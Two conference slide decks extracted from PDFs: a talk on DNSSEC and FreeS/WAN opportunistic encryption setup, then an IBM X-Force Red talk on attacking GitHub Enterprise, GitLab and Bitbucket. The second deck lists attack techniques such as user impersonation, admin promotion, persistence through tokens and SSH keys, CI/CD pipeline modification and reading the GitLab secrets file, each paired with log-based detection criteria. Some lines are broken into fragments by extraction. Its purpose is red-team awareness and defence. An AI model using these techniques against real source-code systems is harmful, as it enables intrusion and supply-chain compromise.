tool which is no longer in the bind
snapshot (java signer available)
- Trusted keys need to be pulled from
zonedata
- Experiment is purely technical, no policy
issues addressed.
_
Net::DNS and Net:DNS::SEC (in CPAN)
–
Has bug for large TXT records (opportunistic encryption records)
_
DNSSEC-Maint and DNSSEC-Maint-Zone (RIPE NCC)
–
Supports notion of KSK and ZSK and 2 step rollovers
–
Very easy to use and maintain keys, zones and rollovers (!)
(we currently maintain about 150 dnssec zones)
• Maintkeydb create RSASHA1 zonesigning 768 freeswan.nl
• Dnssigner -o freeswan.nl /var/named/freeswan.nl
• maintkeydb rollover freeswan.nl zonesigning yes
• Maintkeydb rollover freeswan.nl zonesigning yes [check]
_
You can use stable bind8/9 to serve secure zones
–
Note: bind8 does NOT serve data with expired SIG record. Records
will disappear when SIG expired on bind8. Bind9 serves data with
d
d
Mass Deployment
_
Location of DNS Zonefile now on secure signer
machine
_
New task: maintain secure zones
–
Don't let the SIG records expire!!
_
No more direct edits of zonefile
–
Or extra step if generating from database (and how secure is the
database machine?)
Changes in organisation
_
FreeS/WAN: IPsec Opportunistic Encryption
- supports dnssec since version 2.01
–
http://untappable.xtdnet.nl/ does DNSSEC aware OE
_
OpenSSH: host keys in DNS
–
Only patch for old version currently available
_
ISC dhclient: secure dynamic updates
_
NXT-walk software (tsk tsk)
_
Browser plugins???
Applications using DNSSEC
_
Bleeding edge: http://www.ripe.net/disi/
_
Documentation:
–
http://www.xtdnet.nl/paul/blackhat/ (updates of these slides)
–
http://www.xtdnet.nl/paul/dnssec/
–
http://www.ripe.net/training/dnssec/
–
http://www.dnssec.net/
_
Software
–
ftp://ftp.isc.org/isc/bind9/snapshots/
–
http://www.miek.nl/projects/resolver/resolver.html
_
Secure Registery experiments
–
http://secreg.nlnetlabs.nl/
DNSSEC References
RFC 3445: KEY record limitation
RRlabel TTL IN KEY <flags> <protocol> <algorithm> <key material>
KEY record may only be of protocol number 3 (DNSSEC). All other
pplications need to use the APPKEY record. IETF feared too many
pplication keys in APEX of zone.
Result: Breaks all FreeS/WAN Opportunistic Encryption machines on the
nternet!
ETF basicly broke the first and only DNSSEC aware application !!!
FreeS/WAN will likely ignore RFC3445, but will reverse the order of lookups. Where it used
o first try KEY record, then TXT record, as of version 2.01 it will first try TXT record, then
allback on nonrfc compliant KEY record).
_
Opportunistic Encryption: IPsec for the masses
http://www.freeswan.org/freeswan_snaps/CURRENT-SNAP/doc/quickstart.html
Tip
Part two: Opportunistic Encryption
_
IPsec basics
_
What is Opportunistic Encryption
_
Protecting the net with OE
_
Installing and Configuring OE
_
Securing the wireless: WaveSEC
_
Testing OE
Overview presentation
PART TWO: IPsec
_
Phase 1: Diffie-Hellman Key Exchange
–
Ensures privacy
–
Vulnerable to Man in the middle attack
_
Phase 2: Identity exchange and verification
–
Exchange ID's
–
Both parties independantly check ID.
–
Both parties agree on encryption method, eg PreShared Secret (PSK) or
RSA key based. PSK or RSA key of other party needs to be known
beforehand!
–
Both parties agree on a stream cipher for the encryption, eg AES,3DES
–
Both parties agree to pass along certain packets, eg 10.0.1.0/24
_
ID's originally were just text based, eg “Paul”
IPsec in a nutshell
_
Goal: IPsec connection without prior arrangement or exchange
of information with parties you never knew before, allowing
mass deployment of computers on the internet to talk securely
and privately. Force eavesdroppers from passive to active
attacks.
_
Support the notion of one OE security gateway protecting a
whole subnet.
_
Information needs to come from “trusted third party” to
prevent MITM attack in Phase 1.
_
The trick: Use the IP address as a pointer to external
information.
- Obviously we cannot use PSK, since everyone would be able to fetch the
secret. We need to use a public key system, such as RSA or X.509
Opportunistic Encryption
_
Put special TXT record in the reverse, eg:
; RSA 2192 bits bofh.xtdnet.nl Thu Oct 17 12:32:33 2002
17.157.110.193.in-addr.arpa. IN TXT "X-IPsec-Server(10)=193.110.157.17"
" AQOkF1Ggd4iFfI2nQxJYbN9HGDhhIAKIXCoAPX+z+fNI9j7rxxR9QhThIZZeOx
+X9WB4hIa8/8xAnELmc RhkD8CxfznE4tCQ/Ws+9ibXUdD8Wee3JusSMrmLCu
IScNUQuBtRe+l+nn16dzvw3/PGB67gid+AvGvJJJnxiFjibd/4ayVebJRj 6Bu/FRex
pXr3jEgg0TJwxu9y1xBR7i0tRYCdSQPKNClNrgmX7YZTp4bu6gizhil63/sR6"
_
ISC DHCP server and client support this with DNS Dynamic
Updates.
_
If two parties both have their RSA key in the reverse DNS, they
can fetch each other's key and setup a secure connection.
_
FreeS/WAN upto 2.00 also supported putting the RSA key in a
KEY record instead of TXT record, but again: IETF killed this
with RFC3445. FS 2.01 only falls back on the KEY record.
DNS to advertise OE-capability and RSA key
_
If Phase 1 ID is of the format “@FQDN” (eg @vaio.xtdnet.nl)
then do not use reverse dns of IP address, but look for a TXT
record in the forward zone eg:
; RSA 2192 bits vaio.xtdnet.nl Thu Oct 17 12:32:33 2002
vaio.xtdnet.nl. IN TXT "X-IPsec-Server(10)=127.0.0.1""AQOkF1Ggd4iFfI2nQx
JYbN9HGDhhIAKIXCoAPX+z+fNI9j7rxxR9QhThIZZeOx+X9WB4hIa8/8xAnELmc
RhkD8CxfznE4tCQ/Ws+9ibXUdD8Wee3JusSMrmLCuIScNUQuBtRe+l+nn16dzvw
3/PGB67gid+AvGvJJJnxiFjibd/4ayVebJRj6Bu/FRexpXr3jEgg0TJwxu9y1xBR7i0tR
YCdSQPKNClNrgmX7YZTp4bu6gizhil63/sR6"
_
For now, at least the answering party needs reverse TXT,
otherwise man in the middle attack possible.
- We call this: initiator-only OE (iOE)
_
If two parties both have their RSA key in the reverse DNS, they
can fetch each other's key and setup a secure connection.
_
Note: if remote initiates, one clear packet will go over the wire
Most do not control their reverse DNS: iOE
_
Determining OE takes time (one or more DNS lookups).
_
Doing DNS lookups on very busy webservers takes resources.
_
Most OE attempts on responder will fail anyway, since
otherwise client would have initiated to us to begin with.
_
Passive OE: Only respond to incoming requests, do not start
outgoing requests. Ideal for busy webservers.
(www.freeswan.org does passive OE)
_
Note: two passive OE servers will talk in the clear!!
OE on the responding side
_
Use DHCP and dynamic updates to automaticly find OE
gateway and put our key in the reverse. Then we can setup OE
to OEGW
_
Make this OE gateway (your IPsec tunnel) the default route
OE to protect 802.11: WaveSEC
_
The reverse DNS becomes meaningless, we must switch to iOE
or we will fail to connect to OE-capable hosts.
(FreeS/WAN tries to detect private space IP)
_
'normal' NAT-traversal can then happen.
_
If NAT gateway is OE-capable, there is no need for OE on the
inside machines (They can even be Windows,IP-phones,etc)
OE getting ugly: NAT-traversal
_
Typical setup: ADSL with one IP, no control of reverse
_
Run SNAT on internal interface
(not on external which is more common)
_
Run iOE on public interface (eg ppp0, eth1)
(perhaps slighly lower MTU if going through more tunnels, such as PPTP)
_
Remember: first inbound packet will be in the clear!
OE getting ugly: OE & NAT to protect subnet
_
If using SNAT, we can protect another subnet without
becoming critical infrastructure
(SNAT is needed because otherwise response packets from server to OE-client
will flow back in the clear, and dropped at the client)
DIA IMAGE
OE getting ugly: SNAT to protect subnet
_
PF_KEY sockets with OE extensions
–
KLIPS, the FreeS/WAN kernel code (Linux 2.0,2.2,2.4,2.5)
–
Linux 2.5 native IPsec stack (2.5.69+)
_
OE support in the IKE daemon
–
Pluto, the FreeS/WAN userland keying daemon
–
ipsec-tools (for native 2.5) doesn't support OE yet.
_
RSA public key in the DNS
–
For full OE: TXT record in the reverse
–
For iOE: TXT record in any forward
–
For compatibility with FreeS/WAN 1.9x-2.01: KEY records
_
No filters for UDP-500 (IKE), UDP-4500(NAT-T IKE),
PROTO50(ESP) and PROTO51(AH)
l
l
hi
f
bl
DNSSEC
Configuring OE: requirements
_
FreeS/WAN uses a routing hack to trick packets to enter the
ipsec device (pre netfilter/netlink legacy)
Example with OE disabled:
# ip ro li
193.110.157.0/24 dev eth0 proto kernel scope link src 193.110.157.17
127.0.0.0/8 dev lo scope link
default via 193.110.157.254 dev eth0
When OE is enabled:
# ip ro li
193.110.157.0/24 dev eth0 proto kernel scope link src 193.110.157.17
193.110.157.0/24 dev ipsec0 proto kernel scope link src 193.110.157.17
127.0.0.0/8 dev lo scope link
0.0.0.0/1 via 193.110.157.254 dev ipsec0
128.0.0.0/1 via 193.110.157.254 dev ipsec0
default via 193.110.157.254 dev eth0
_
Note: To do OE within the same subnet, repeat this trick for
OE: How it works: The routing hack
_
Old style route command output (you all use ip command
right?)
# route -n
Kernel IP routing table
Destination
Gateway
Genmask Flags Metric Ref Use
Iface
193.110.157.0
0.0.0.0
255.255.255.0 U 0 0 0
eth0
193.110.157.0
0.0.0.0
255.255.255.0 U 0 0 0
ipsec0
127.0.0.0
0.0.0.0
255.0.0.0 U 0 0 0
lo
0.0.0.0
193.110.157.254
128.0.0.0 UG 0 0
0 ipsec0
128.0.0.0
193.110.157.254
128.0.0.0 UG 0 0 0
ipsec00.0.0.0
193.110.157.254
0.0.0.0 UG
0 0 0 eth0
OE: How it works: The routing hack
_
To see which connections are plaintext or crypted, cat
/proc/net/eroutes:
5
193.110.157.17/32 -> 0.0.0.0/0
=> %trap
3
193.110.157.17/32 -> 131.174.124.204/32 => %pass
2
193.110.157.17/32 -> 193.110.157.10/32
=> [email protected]
6
193.110.157.17/32 -> 193.110.157.2/32
=> %pass
0
193.110.157.17/32 -> 193.110.157.250/32 => %hold
12 193.110.157.17/32 -> 193.110.157.77/32
=> [email protected]
2
193.110.157.17/32 -> 193.110.157.9/32
=>
[email protected]
_
%trap : catch these packets and process
_
%pass : Other side doesn't support IPsec/OE, send out in clear
_
%hold : Other side advertises OE, but failed to setup a tunnel
with, attack or misconfiguration, do not send anything
t
W
h
IP
t
l
ith th
th
id
OE: Look at the internal state: eroute
_
FreeS/WAN 2.x allows you to set more elaborate policies, see
/etc/ipsec.d/policies/block (never talk to these CIDR's)
/etc/ipsec.d/policies/clear (no OE, eg if they block IPsec)
/etc/ipsec.d/policies/clear-or-private (Passive OE CIDR's)
/etc/ipsec.d/policies/private (encrypt to them or dont talk)
/etc/ipsec.d/policies/private-or-clear (try OE, else allow clear)
OE: FreeS/WAN 2.x Policies
_
Most distributions already have FreeS/WAN support
–
Debian, SuSe, Mandrake, Connectiva, etc. have binaries.
–
RedHat binaries on ftp://ftp.xs4all.nl/pub/crypto/freeswan/binaries
_
Install from source
Configuring OE: Installing FreeS/WAN
_
Download latest FreeS/WAN (or superfreeswan if you also want
NAT-T or X.509 support)
_
Install kernel-source and gmp with header files (gmp-devel)
_
Build a standard kernel in /usr/src/linux
_
untar and go into the freeswan directory
_
issue a 'make oldmod' (this builds and installs freeswan)
_
cd /usr/src/linux ; make modules_install (if building ipsec
support as module)
_
If you added NAT-T support, you must use 'make oldgo' and
also install the new kernel itself, since the ESPinUDP patch
changes some fundamental network structures.
Installing FreeS/WAN kernel plus userland
_
Download latest FreeS/WAN (do not use superfreeswan, since
2.5 kernel doesn't yet support NAT-T or X.509)
_
Install kernel-source and gmp with header files (gmp-devel)
_
untar and go into the freeswan directory
_
issue a 'make programs' (this builds and installs freeswan)
Installing FreeS/WAN userland on native 2.5
_
If you have a file /etc/ipsec.secrets, your keys have already
been generated by starting FreeS/WAN. If not, issue:
# ipsec newhostkey --output /etc/ipsec.secrets
_
To display a proper reverse dns record for your host, issue:
# ipsec showhostkey --txt 1.2.3.4
where 1.2.3.4 is the IP address of your OE gateway, or your
own IP address if there is no OE gateway
_
To display a proper forward dns record for your host, issue:
# ipsec showhostkey --txt 127.0.0.1
_
To displau an old style KEY record for the forward, issue:
# ipsec showhostkey
_
Alternatives:
# ipsec mailkey --me [email protected] --forward
hostname.domain.tld
Configuring OE: Putting keys in the DNS
_
Add or enable the following connection(s) in /etc/ipsec.conf
conn client-to-anyone
# for our client subnet
leftsubnet=10.0.2.0/24
# any single client in our subnet
also=me-to-anyone
# rest is same as for SG
conn me-to-anyone
# for ourself
left=%defaultroute
# outside interface
right=%opportunistic # use DNS records to find keys
authby=rsasig
# almost always the right choice
keyingtries=2
# don't be persistent -- peer might
disappear
auto=route # enable at ipsec startup
#[email protected]
# only needed for iOE
Configuring OE: FreeS/WAN 1.9x
_
OE is enabled per default for 2.x in /etc/ipsec.conf.
_
You can disable it by creating a connection called OEself:
conn OEself
auto=ignore
_
iOE also needs specific OEself definition:
conn OEself
left=%defaultroute
leftrsasigkey=%dnsondemand
[email protected]
right=%opportunistic
rightrsasigkey=%dnsondemand
auto
route
Configuring OE: FreeS/WAN 2.x
_
ISC 3.0.1rc9 or higher
_
http://www.wavesec.org/patches/dhcp-3.0.1rc9-oe-
key.patch
(might be integrated by now)
_
in /etc/dhcpd.conf
option oe-key code 159 = string;
option oe-gateway code 160 = ip-address;
on commit {
if (not static and ((config-option server.ddns-updates = null) or
(config-option server.ddns-updates != 0))) { if exists oe-key {
set ddns-rev-name = concat (binary-to-ascii (10, 8, ".", reverse (1, leased-address)),
".", pick (config-option server.ddns-rev-domainname, "in-addr.arpa."));
set full-oe-key = option oe-key;
switch (ns-update (delete (IN, 25, ddns-rev-name, null), add (IN, 25,
ddns-rev-name, full-oe-key, lease-time / 2))) {
default:
unset ddns-rev-name;
break;
case NOERROR:
on release or expiry {
switch (ns-update (delete (IN, 25, ddns-rev-name, null))) {
Configuring WaveSEC: DHCPD
Configuring WaveSEC: Bind
_
See: www.wavesec.org/dyndns.phtml
_
And: http://ops.ietf.org/dns/dynupd/secure-ddns-
howto.html
Configuring WaveSEC: FreeS/WAN
_
See http://www.wavesec.org/
_
Add both interfaces to the IPsec machinery in
ipsec.conf:
interfaces=”ipsec0=eth0 ipsec1=wlan0”
_
To enable your WAVEsec clients to connect, create a connection
description for each IP address that will be served. A future version of
FreeS/WAN may reduce this to a single definition, but this is not yet
implemented. For each, you will need a conn like:
conn host66-to-world
left=192.139.46.254 # IP of WAVEsec gateway
leftsubnet=0.0.0.0/0
right=192.139.46.66 # IP of potential client.
keylife=1h # IP may be reused after 1 hour idle
rekey=no
auto=add
Configuring WaveSEC: FreeS/WAN server
_
Exempt DHCP and DNS packets from IPsec
#!/bin/sh
iptables -A PREROUTING -t mangle -p udp -s 0.0.0.0/0 -d 192.139.46.64/29 --sport 53 -j
MARK --set-mark 1
iptables -A PREROUTING -t mangle -p udp -s 0.0.0.0/0 -d 192.139.46.64/29 --sport 67:68
-j MARK --set-mark 1
iptables -A PREROUTING -t mangle -p icmp -s 0.0.0.0/0 -d 192.139.46.64/29 -j MARK --
set-mark 1
iptables -A OUTPUT -t mangle -p udp -s 0.0.0.0/0 -d 192.139.46.64/29 --sport 67:68 -j
MARK --set-mark 1
iptables -A OUTPUT -t mangle -p udp -s 0.0.0.0/0 -d 192.139.46.64/29 --sport 53 -j MARK
--set-mark 1
iptables -A OUTPUT -t mangle -p icmp -s 0.0.0.0/0 -d 192.139.46.64/29 -j MARK --set-
mark 1
ip rule add fwmark 1 table dhcpd
ip route add 192.139.46.64/29 dev wlan0 table dhcpd
Configuring WaveSEC: FreeS/WAN Client
_
Install and configure FreeS/WAN
_
Patch for dhclient:
www.wavesec.org/download/dhcp-
3.0.1rc9.freeswan.tar.gz
_
Patch for RedHat ifup script
www.wavesec.org/download/sbin-
ifup.dhclient.rhl7.3.patch
_
Run: ipsec showhostkey –-dhclient > /etc/dhclient.conf
Configuring WaveSEC: FreeBSD/KAME Client
_
Though it requires some manual settings it should work
with wavesec.
_
See http://www.wavesec.org/kame.phtml
_
Also see: http://www.wavesec.org/KAME-WAVEsec.txt
_
The same probably applies to Linux 2.5 native IPsec
with ipsec-tools
Configuring WaveSEC: Other Clients
_
We will try to get something running using X.509
certificates for Windows machines. If we succeed, we
will publish the information on www.wavesec.org
_
OpenBSD should be able to work with WaveSEC
_
SSH IPsec Express should work
_
SSH Sentinel should work
_
# ipsec verify
Checking your system to see if IPsec got installed and started correctly
Version check and ipsec on-path
[OK]
Checking for KLIPS support in kernel [OK]
Checking for RSA private key (/etc/ipsec.secrets)
[OK]
Checking that pluto is running
[OK]
DNS checks.
Looking for forward key for bofh.xtdnet.nl
[NO KEY]
Does the machine have at least one non-private address
[OK]
Two or more interfaces found, checking IP forwarding [OK]
Checking NAT and MASQUERADING [N/A]
_
Note: verify doesn't catch all problems.
Testing OE
_
http://untappable.xtdnet.nl/
Once you are connected, telnet to the gopher port, you will see
something like:
Trying 193.110.157.74...
Connected to untappable.xtdnet.nl (193.110.157.74).
Escape character is '^]'.
Results of query on 193.110.157.74 -> 192.139.46.38 with seq 2
Received reply of 33124 bytes.
Strength: 32
Bandwidth: 32
authdetail: 0
esp_detail: 3
comp_detail: 0
credentials: 1
DNSSEC identity: 192.139.46.38 (SIG KEY 1 6 7200
20030613025618 20030514025618 28815 46.139.192.in-addr.arpa.
Lv8xM9ihADevmp8Zf7X7
vStJeCRghbMnXeTIECHJd1/nG+yW6BkEj3w+GUxpr35Rn0Kez3mD89ig
Testing OE
_
http://oetest.freeswan.org/
_
http://oetest.freeswan.nl/
_
http://www.xtdnet.nl/paul/
_
ipsec verify –host mail.xtdnet.nl
_
irc.sandelman.ca (only allows OE connections)
Testing OE: other sites
_
When OE is started, the first connections will fail because it
will trigger lots of other OE's to the various dns servers, and all
will fail until %pass routes to the dns servers are created.
_
Starting FreeS/WAN before the internet connection doesn't
work properly yet. Restart FreeS/WAN after inserting a pcmcia
card.
_
People often make mistakes pasting in the OE dns records.
_
Do not change the IP address in an OE record. If a digit gets
added, it can break the record.
_
2.00 and 2.01 cannot talk OE to 2.02
_
KEY versus TXT issues as a result of RFC3445.
_
NAT'ing IPsec packets to hell
_
MTU/fragmentation problems with tunnels within tunnels.
Seems to mostly happen to people who do ADSL/PPTP/IPsec
Known caveats
_
Check your logfiles (/var/log/secure, /var/log/messages)
_
Check your logfiles AGAIN (check startup errors)
_
Run “ipsec verify”
_
Disable any firewall rules to test if you are dropping packets
_
Use “ikeping” to test if your ISP filters udp 500. Turn off
FreeS/WAN before trying ikeping.
_
Post the output of “ipsec barf” on a website and post a URL to
the mailinglist with an explanation of what you are trying to
do.
_
Try the people at FreeNode (formerly OpenProjects) on the irc
channel #freeswan
DO NOT ENABLE KLIPSDEBUG or PLUTODEBUG !!!
Debugging OE
_
Grab me during the conference if you need help.
_
We should be running WaveSEC
_
We recommend setting up DNSSEC on your local laptop,
trusted keys for the reverse will published on:
http://www.xtdnet.nl/paul/conference
_
If your connection is NAT'ed, talk to us to get a real IP.
_ Enjoy your privacy :)
Try out OE at the conference! | pdf |
Controlling the Source:
Abusing Source Code
Management Systems
Brett Hawkins (@h4wkst3r)
Adversary Simulation, IBM X-Force Red
Agenda
2
IBM Security / © 2022 IBM Corporation
•
Introduction
•
Source Code Management Systems
•
GitHub Enterprise
•
GitLab Enterprise
•
Bitbucket
•
SCMKit
•
Demos
•
Defensive Considerations
•
Conclusion
Introduction
IBM Security / © 2022 IBM Corporation
3
Who am I?
4
IBM Security / © 2022 IBM Corporation
•
Current Role – Adversary Simulation, IBM X-Force Red
•
Previous Roles - Mandiant, J.P. Morgan Chase, J.M. Smucker Company
•
Conference Speaker – DerbyCon, Wild West Hackin’ Fest, BSides, Hackers Teaching
Hackers
•
Open-Source Tool Author – SharPersist, DueDLLigence, InvisibilityCloak, SCMKit
How did this research come about?
5
IBM Security / © 2022 IBM Corporation
•
Real-world experience attacking source code management systems
•
Recent Security Breaches
•
Software Supply Chain Attacks - SolarWinds, Kaseya, Codecov
•
Source Code Theft - LAPSUS$
–
Microsoft - Azure DevOps
–
T-Mobile - Bitbucket
–
Samsung - GitHub Enterprise
–
Globant - GitHub Enterprise
Research Goals
6
IBM Security / © 2022 IBM Corporation
•
Bring more attention to securing Source Code Management systems
•
Inspire future research on defending Source Code Management systems
Attendee Takeaways
7
IBM Security / © 2022 IBM Corporation
•
Learn about different attack scenarios against Source Code Management systems
•
Learn how to defend Source Code Management systems
•
Learn how to abuse Source Code Management systems via privileged and non-privileged
context
My Perspective
8
IBM Security / © 2022 IBM Corporation
I AM:
•
Current - Red Team Operator
•
Previous - Blue Teamer
I AM NOT:
•
DevOps Engineer
•
Software Developer
•
System Administrator
Source Code Management Systems
IBM Security / © 2022 IBM Corporation
9
10
IBM Security / © 2022 IBM Corporation
• Manages source code repositories
• Allows multiple developers to work on code at same time
• Supports integrations into other systems within DevOps pipeline
What is a Source Code Management System?
11
IBM Security / © 2022 IBM Corporation
• GitHub Enterprise
• GitLab Enterprise
• Bitbucket
Popular Systems
12
IBM Security / © 2022 IBM Corporation
• SCM systems used
during “Build” phase
DevOps Pipeline
Image: https://medium.com/aws-cyber-range/secdevops-101-strengthen-the-basics-20f57197aa1c
13
IBM Security / © 2022 IBM Corporation
• Attacker injects itself into development process to deploy malicious code
• Research focuses on scenarios “B” and “C” below
Software Supply Chain Attacks
Image: https://opensource.googleblog.com/2021/10/protect-your-open-source-project-from-supply-chain-attacks.html
14
IBM Security / © 2022 IBM Corporation
SCM Systems
• Initial access point
• Pivot to CI/CD Platform
• Pivot to Distribution Platform
Lateral Movement to other DevOps Systems
Image: https://opensource.googleblog.com/2021/10/protect-your-open-source-project-from-supply-chain-attacks.html
GitHub Enterprise
IBM Security / © 2022 IBM Corporation
15
Access Model
16
IBM Security / © 2022 IBM Corporation
Enterprise Roles
•
Owners, Members
Organization Roles
• Organization Owners, Organization Members, Security Managers, GitHub App Managers, Outside Collaborators
Repository Roles
• Read, Triage, Write, Maintain, Admin
Access Token Scopes
• Repository, Organization, SSH Keys, Gists, Users, GPG Keys, Site Admin
17
IBM Security / © 2022 IBM Corporation
• REST API
• Interact with:
• Repositories
• SSH Keys
• Users
• Admin functionality
• And much more…
API Capabilities
18
IBM Security / © 2022 IBM Corporation
Attack Scenarios
Attack Scenario
Sub-Scenario
Admin Required?
Reconnaissance
-Repository
-File
-Code
No
Repository Takeover
N/A
Yes
User Impersonation
-Impersonate User Login
-Impersonation Token
Yes
Promoting User to Site Admin N/A
Yes
Maintain Persistent Access
-Personal Access Token
-Impersonation Token
-SSH Key
No
Yes
No
Management Console Access
N/A
Yes
19
IBM Security / © 2022 IBM Corporation
•
Interact with web interface or REST API
• Repository, File, Code
Reconnaissance
20
IBM Security / © 2022 IBM Corporation
HAProxy Log
• /var/log/haproxy.log
Search Criteria
• ('/search' OR '/api/v3/search') AND 'http'
Reconnaissance Logging
21
IBM Security / © 2022 IBM Corporation
• Site admin can unlock any repository for modify access
Repository Takeover
22
IBM Security / © 2022 IBM Corporation
Audit Log
• /var/log/github-audit.log
Search Criteria
• action:repo.staff_unlock
Repository Takeover Logging
23
IBM Security / © 2022 IBM Corporation
• Impersonate User Login
• Impersonation Token
User Impersonation
24
IBM Security / © 2022 IBM Corporation
Audit Log
• /var/log/github-audit.log
Search Criteria
• action:staff.fake_login
• action:oauth_access.create
• action:oauth_authorization.create
User Impersonation Logging
25
IBM Security / © 2022 IBM Corporation
• Using site admin privileges, add any user to site admin
Promoting User to Site Admin
26
IBM Security / © 2022 IBM Corporation
Audit Log
• /var/log/github-audit.log
Search Criteria
• action:user.promote
• action:business.add_admin
Promoting User to Site Admin Logging
27
IBM Security / © 2022 IBM Corporation
• Personal Access Token
• Impersonation Token
• SSH Key
Maintain Persistent Access
28
IBM Security / © 2022 IBM Corporation
Audit Log
• /var/log/github-audit.log
Search Criteria
• action:oauth_access.create
• action:oauth_authorization.create
• action:public_key.create
• action:public_key.verify
Maintain Persistent Access Logging
29
IBM Security / © 2022 IBM Corporation
• Single shared password
• Configure enterprise instance
• Example: Adding SSH key
Management Console Access
30
IBM Security / © 2022 IBM Corporation
• Multiple commands available in management console SSH access
• Example: ghe-config -l
Management Console Access
31
IBM Security / © 2022 IBM Corporation
Management Log
• /var/log/enterprise-manage/unicorn.log
Management Console Access Logging
GitLab Enterprise
IBM Security / © 2022 IBM Corporation
32
33
IBM Security / © 2022 IBM Corporation
User Project Permissions
• Guest, Reporter, Developer, Maintainer, Owner
Access Token Scopes
• api, read_user, read_api, read_repository, write_repository, read_registry,
write_registry, sudo
Access Model
34
IBM Security / © 2022 IBM Corporation
• REST API
• Interact with:
• Repositories
• SSH Keys
• Users
• Admin functionality
• And much more…
API Capabilities
Attack Scenarios
35
IBM Security / © 2022 IBM Corporation
Attack Scenario
Sub-Scenario
Admin Required?
Reconnaissance
-Repository
-File
-Code
No
User Impersonation
-Impersonate User Login
-Impersonation Token
Yes
Promoting User to Admin Role N/A
Yes
Maintain Persistent Access
-Personal Access Token
-Impersonation Token
-SSH Key
No
Yes
No
Modifying CI/CD Pipeline
N/A
Yes – Project Level
SSH Access
N/A
Yes
36
IBM Security / © 2022 IBM Corporation
• Interact with web interface or REST API
• Repository, File, Code
Reconnaissance
Reconnaissance Logging
37
IBM Security / © 2022 IBM Corporation
Production Log
• /var/log/gitlab/gitlab-rails/production.log
• /var/log/gitlab/gitlab-rails/production_json.log
API Log
• /var/log/gitlab/gitlab-rails/api_json.log
Access Log
• /var/log/gitlab/nginx/gitlab_access.log
Search Criteria
• 'get' AND '/search?search'
• 'get' AND '/search'
• 'get' AND ('/search'| OR 'repository/tree')
• 'search'
38
IBM Security / © 2022 IBM Corporation
• Impersonate User Login
• Impersonation Token
User Impersonation
39
IBM Security / © 2022 IBM Corporation
Production Log
• /var/log/gitlab/gitlab-rails/production_json.log
• /var/log/gitlab/gitlab-rails/production.log
API Log
• /var/gitlab/gitlab-rails/api_json.log
Search Criteria
• 'has started impersonating'
• 'impersonate'
• 'post' AND 'impersonation_tokens'
• 'impersonation_tokens'
User Impersonation Logging
40
IBM Security / © 2022 IBM Corporation
• Using admin privileges, add any user to admin
Promoting User to Admin Role
41
IBM Security / © 2022 IBM Corporation
Production Log
• /var/log/gitlab/gitlab-rails/production_json.log
• /var/log/gitlab/gitlab-rails/production.log
API Log
• /var/log/gitlab/gitlab-rails/api_json.log
Search Criteria
• 'patch' AND 'admin/users'
• 'put' AND '"key":"admin","value":"true"'
Promoting User to Admin Role Logging
42
IBM Security / © 2022 IBM Corporation
• Personal Access Token
• Impersonation Token
• SSH Key
Maintain Persistent Access
43
IBM Security / © 2022 IBM Corporation
Production Log
• /var/log/gitlab/gitlab-rails/production_json.log
• /var/log/gitlab/gitlab-rails/production.log
API Log
• /var/log/gitlab/gitlab-rails/api_json.log
Search Criteria
• 'post' AND 'personal_access_tokens'
• 'post' AND 'profile/keys'
• 'post' AND 'personal_access_tokens'
• 'post' AND 'user/keys'
Maintain Persistent Access Logging
44
IBM Security / © 2022 IBM Corporation
• Modify .gitlab-ci.yml file in repo
• This will trigger pipeline to run for that project
Modifying CI/CD Pipeline
45
IBM Security / © 2022 IBM Corporation
Production Log
• /var/log/gitlab/gitlab-rails/production_json.log
Search Criteria
• 'post' AND '/api/graphql' AND '.gitlab-ci.yml' AND 'update'
Modifying CI/CD Pipeline Logging
46
IBM Security / © 2022 IBM Corporation
GitLab Config file
• /etc/gitlab/gitlab.rb
GitLab Secrets file
• /etc/gitlab/gitlab-secrets.json
Postgresql Database -
SSH Access
Bitbucket
IBM Security / © 2022 IBM Corporation
47
Access Model
48
IBM Security / © 2022 IBM Corporation
4 permission levels
• Global, Project, Repository, Branch
Global Permissions
• Bitbucket User, Project Creator, Admin, System Admin
Project Permissions
• Project Admin, Write, Read
Repo Permissions
• Admin, Write, Read
Branch Permissions
• Prevent all changes, Prevent deletion, Prevent rewriting history, Prevent changes without a pull request
Access Token Scopes
• Repository read, Repository write, Repository admin, Project read, Project write, Project admin
49
IBM Security / © 2022 IBM Corporation
• REST API
• Interact with:
• Repositories
• SSH Keys
• Users
• Admin functionality
• And much more…
API Capabilities
Attack Scenarios
50
IBM Security / © 2022 IBM Corporation
Attack Scenario
Sub-Scenario
Admin Required?
Reconnaissance
-Repository
-File
-Code
No
Promoting User to Admin Role N/A
Yes
Maintain Persistent Access
-Personal Access Token
-SSH Key
No
Modifying CI/CD Pipeline
N/A
No
51
IBM Security / © 2022 IBM Corporation
• Interact with web interface or REST API
• Repository, File, Code
Reconnaissance
52
IBM Security / © 2022 IBM Corporation
Bitbucket Log
• /var/log/atlassian/application-data/bitbucket/log/atlassian-bitbucket.log
Search Criteria
• 'post' AND 'search' AND 'query'
• Need to increase logging level
Reconnaissance Logging
53
IBM Security / © 2022 IBM Corporation
• Using admin privileges, add any user to admin
Promote User to Admin Role
54
IBM Security / © 2022 IBM Corporation
Access Log
• /var/atlassian/application-data/bitbucket/log/atlassian-bitbucket-access.log
Audit Log
• /var/atlassian/application-data/bitbucket/log/audit/*.log
Search Criteria
• 'put' AND '/admin/permissions/users'
• 'new.permission' AND 'admin'
Promote User to Admin Role Logging
55
IBM Security / © 2022 IBM Corporation
• Personal Access Token
• SSH Key
Maintain Persistent Access
56
IBM Security / © 2022 IBM Corporation
Access Log
• /var/atlassian/application-data/bitbucket/log/atlassian-bitbucket-access.log
Audit Log
• /var/atlassian/application-data/bitbucket/log/audit/*.log
Search Criteria
• 'put' AND '/rest/access-tokens'
• 'post' AND 'ssh/account/keys/add'
• 'personal access token created’
• 'user added ssh access key’
Maintain Persistent Access Logging
57
IBM Security / © 2022 IBM Corporation
• Discovery of CI/CD Configuration file
• Modify CI/CD Configuration file
• Triggers pipeline to run automatically
Modifying CI/CD Pipeline
58
IBM Security / © 2022 IBM Corporation
Bamboo Log
• $BAMBOO_HOME/atlassian-bamboo.log
Search Criteria
• 'change detection found'
Modifying CI/CD Pipeline Logging
SCMKit
IBM Security / © 2022 IBM Corporation
59
60
IBM Security / © 2022 IBM Corporation
• Source Code Management Attack Toolkit written in C#
• https://github.com/xforcered/SCMKit
• Full presentation at Black Hat USA Arsenal 2022
• Supported SCM systems:
• GitHub Enterprise, GitLab Enterprise, Bitbucket Server
• Modules include:
• Reconnaissance, Privilege Escalation, Persistence
Background
61
IBM Security / © 2022 IBM Corporation
Example - Reconnaissance
62
IBM Security / © 2022 IBM Corporation
Example - Privilege Escalation
63
